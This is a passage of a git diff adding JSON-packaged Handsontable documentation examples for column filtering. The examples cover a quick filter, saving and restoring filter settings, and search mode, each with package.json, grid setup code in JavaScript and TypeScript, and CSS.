'non-commercial-and-evaluation',\n});\n\n// add a filter input listener\nfilterField.addEventListener('keyup', (event) => {\n const filters = hot.getPlugin('filters');\n\n filters.removeConditions(selectedColumn);\n filters.addCondition(selectedColumn, 'contains', [event.target.value]);\n filters.filter();\n hot.render();\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".controlsQuickFilter {\n position: relative;\n display: flex;\n align-items: center;\n gap: 0.75rem;\n margin: 0;\n padding: 0;\n}\n\n#filterField {\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n background: none;\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.4rem 0.625rem;\n outline: none;\n width: 140px;\n}\n\n#filterField::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n#filterField:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n#filterField:focus-visible {\n border-color: var(--sl-color-accent, #1A42E8);\n box-shadow: 0 0 0 1px var(--sl-color-accent, #1A42E8);\n}\n\n/* Filter dropdown */\n.filter-dropdown {\n position: relative;\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n}\n\n.filter-dropdown-label {\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-sm, 0.875rem);\n white-space: nowrap;\n}\n\n.filter-dropdown-trigger {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-2, #555555);\n cursor: pointer;\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 500;\n padding: 0.4rem 0.625rem;\n transition: color 0.15s, background-color 0.15s;\n white-space: nowrap;\n border-radius: 0;\n}\n\n.filter-dropdown-trigger:hover {\n color: var(--sl-color-white, #333333);\n background: var(--sl-color-gray-7, var(--sl-color-gray-6, #eeeeee));\n}\n\n.filter-dropdown-chevron {\n flex-shrink: 0;\n margin-inline-start: 0.15rem;\n transition: transform 0.15s;\n}\n\n.filter-dropdown-trigger[aria-expanded='true'] .filter-dropdown-chevron {\n transform: rotate(180deg);\n}\n\n.filter-dropdown-menu {\n background: var(--sl-color-bg-nav, #ffffff);\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n box-shadow: none;\n inset-inline-start: 0;\n list-style: none;\n margin: 0;\n min-width: 100%;\n overflow-y: auto;\n padding: 0;\n position: absolute;\n top: 100%;\n z-index: 9999;\n}\n\n.filter-dropdown-menu[hidden] {\n display: none !important;\n}\n\n.filter-dropdown-menu li {\n align-items: center;\n color: var(--sl-color-text, #333333);\n display: flex;\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.5rem 0.75rem;\n cursor: pointer;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n transition: background 0.1s, color 0.1s;\n white-space: nowrap;\n list-style: none;\n margin: 0;\n}\n\n.filter-dropdown-menu li:last-child {\n border-bottom: none;\n}\n\n.filter-dropdown-menu li:hover,\n.filter-dropdown-menu li:focus-visible {\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-white, #333333);\n outline: none;\n}\n\n.filter-dropdown-menu li[aria-selected='true'] {\n color: var(--sl-color-white, #333333);\n box-shadow: inset 0 0 0 1px var(--sl-color-accent, #1A42E8);\n}"},"docsPath":"guides/columns/column-filter/javascript/exampleQuickFilter.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleQuickFilter","exampleTitle":"External quick filter","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json new file mode 100644 index 00000000..46ecce7c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · External quick filter · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n
    \n \n \n \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleQuickFilter')!;\nconst filterField = document.querySelector('#filterField')!;\n\n// Custom dropdown logic\nconst trigger = document.getElementById('filterTrigger')!;\nconst menu = document.getElementById('filterMenu')!;\nconst label = document.getElementById('filterTriggerLabel')!;\nlet selectedColumn: string = '0';\n\ntrigger.addEventListener('click', () => {\n const open = trigger.getAttribute('aria-expanded') === 'true';\n\n trigger.setAttribute('aria-expanded', String(!open));\n (menu as HTMLElement).hidden = open;\n});\n\nmenu.addEventListener('click', (e: Event) => {\n const li = (e.target as HTMLElement).closest('li[data-value]') as HTMLElement | null;\n\n if (!li) return;\n\n menu.querySelectorAll('li').forEach((el) => el.removeAttribute('aria-selected'));\n li.setAttribute('aria-selected', 'true');\n selectedColumn = li.dataset.value!;\n label.textContent = li.textContent!.trim();\n trigger.setAttribute('aria-expanded', 'false');\n (menu as HTMLElement).hidden = true;\n});\n\ndocument.addEventListener('click', (e: Event) => {\n if (!(e.target as HTMLElement).closest('#filterDropdown')) {\n trigger.setAttribute('aria-expanded', 'false');\n (menu as HTMLElement).hidden = true;\n }\n});\n\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n colHeaders: true,\n height: 'auto',\n filters: true,\n className: 'exampleQuickFilter',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// add a filter input listener\nfilterField.addEventListener('keyup', (event) => {\n const filters: Filters = hot.getPlugin('filters');\n\n filters.removeConditions(selectedColumn as unknown as number);\n filters.addCondition(selectedColumn as unknown as number, 'contains', [(event.target as HTMLInputElement).value]);\n filters.filter();\n hot.render();\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".controlsQuickFilter {\n position: relative;\n display: flex;\n align-items: center;\n gap: 0.75rem;\n margin: 0;\n padding: 0;\n}\n\n#filterField {\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n background: none;\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.4rem 0.625rem;\n outline: none;\n width: 140px;\n}\n\n#filterField::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n#filterField:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n#filterField:focus-visible {\n border-color: var(--sl-color-accent, #1A42E8);\n box-shadow: 0 0 0 1px var(--sl-color-accent, #1A42E8);\n}\n\n/* Filter dropdown */\n.filter-dropdown {\n position: relative;\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n}\n\n.filter-dropdown-label {\n color: var(--sl-color-gray-2, #555555);\n font-size: var(--sl-text-sm, 0.875rem);\n white-space: nowrap;\n}\n\n.filter-dropdown-trigger {\n display: inline-flex;\n align-items: center;\n gap: 0.5rem;\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n color: var(--sl-color-gray-2, #555555);\n cursor: pointer;\n font-size: var(--sl-text-sm, 0.875rem);\n font-weight: 500;\n padding: 0.4rem 0.625rem;\n transition: color 0.15s, background-color 0.15s;\n white-space: nowrap;\n border-radius: 0;\n}\n\n.filter-dropdown-trigger:hover {\n color: var(--sl-color-white, #333333);\n background: var(--sl-color-gray-7, var(--sl-color-gray-6, #eeeeee));\n}\n\n.filter-dropdown-chevron {\n flex-shrink: 0;\n margin-inline-start: 0.15rem;\n transition: transform 0.15s;\n}\n\n.filter-dropdown-trigger[aria-expanded='true'] .filter-dropdown-chevron {\n transform: rotate(180deg);\n}\n\n.filter-dropdown-menu {\n background: var(--sl-color-bg-nav, #ffffff);\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n box-shadow: none;\n inset-inline-start: 0;\n list-style: none;\n margin: 0;\n min-width: 100%;\n overflow-y: auto;\n padding: 0;\n position: absolute;\n top: 100%;\n z-index: 9999;\n}\n\n.filter-dropdown-menu[hidden] {\n display: none !important;\n}\n\n.filter-dropdown-menu li {\n align-items: center;\n color: var(--sl-color-text, #333333);\n display: flex;\n font-size: var(--sl-text-sm, 0.875rem);\n padding: 0.5rem 0.75rem;\n cursor: pointer;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n transition: background 0.1s, color 0.1s;\n white-space: nowrap;\n list-style: none;\n margin: 0;\n}\n\n.filter-dropdown-menu li:last-child {\n border-bottom: none;\n}\n\n.filter-dropdown-menu li:hover,\n.filter-dropdown-menu li:focus-visible {\n background: var(--sl-color-gray-6, #eeeeee);\n color: var(--sl-color-white, #333333);\n outline: none;\n}\n\n.filter-dropdown-menu li[aria-selected='true'] {\n color: var(--sl-color-white, #333333);\n box-shadow: inset 0 0 0 1px var(--sl-color-accent, #1A42E8);\n}"},"docsPath":"guides/columns/column-filter/javascript/exampleQuickFilter.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleQuickFilter","exampleTitle":"External quick filter","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json new file mode 100644 index 00000000..e8cd462f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Save and restore filter settings · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleSaveRestoreFilters');\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n// get the `Filters` plugin, so you can use its API\nconst filters = hot.getPlugin('filters');\nlet savedConditions = [];\ndocument.querySelector('.applySampleFilter').addEventListener('click', () => {\n filters.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n});\ndocument.querySelector('.saveFilters').addEventListener('click', () => {\n // `exportConditions()` returns the current conditions, keyed by physical column index\n savedConditions = filters.exportConditions();\n});\ndocument.querySelector('.clearFilters').addEventListener('click', () => {\n filters.clearConditions();\n filters.filter();\n});\ndocument.querySelector('.restoreFilters').addEventListener('click', () => {\n // `importConditions()` expects the same physical-column-indexed structure\n filters.importConditions(savedConditions);\n filters.filter();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleSaveRestoreFilters.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json new file mode 100644 index 00000000..e32449f6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Save and restore filter settings · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\nimport type { ColumnConditions } from 'handsontable/plugins/filters';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleSaveRestoreFilters')!;\nconst hot = new Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// get the `Filters` plugin, so you can use its API\nconst filters: Filters = hot.getPlugin('filters');\nlet savedConditions: ColumnConditions[] = [];\n\ndocument.querySelector('.applySampleFilter')!.addEventListener('click', () => {\n filters.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters.addCondition(2, 'gt', [200]);\n filters.filter();\n});\n\ndocument.querySelector('.saveFilters')!.addEventListener('click', () => {\n // `exportConditions()` returns the current conditions, keyed by physical column index\n savedConditions = filters.exportConditions();\n});\n\ndocument.querySelector('.clearFilters')!.addEventListener('click', () => {\n filters.clearConditions();\n filters.filter();\n});\n\ndocument.querySelector('.restoreFilters')!.addEventListener('click', () => {\n // `importConditions()` expects the same physical-column-indexed structure\n filters.importConditions(savedConditions);\n filters.filter();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleSaveRestoreFilters.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSearchMode.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSearchMode.js.json new file mode 100644 index 00000000..6e62044f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSearchMode.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Enable filtering within already filtered results · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleSearchMode');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering with option\n filters: {\n searchMode: 'apply',\n },\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleSearchMode.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSearchMode","exampleTitle":"Enable filtering within already filtered results","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSearchMode.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSearchMode.ts.json new file mode 100644 index 00000000..0a19f59c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleSearchMode.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Enable filtering within already filtered results · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleSearchMode')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering with option\n filters: {\n searchMode: 'apply',\n },\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleSearchMode.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSearchMode","exampleTitle":"Enable filtering within already filtered results","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json new file mode 100644 index 00000000..a3a5f180 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Server-side filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
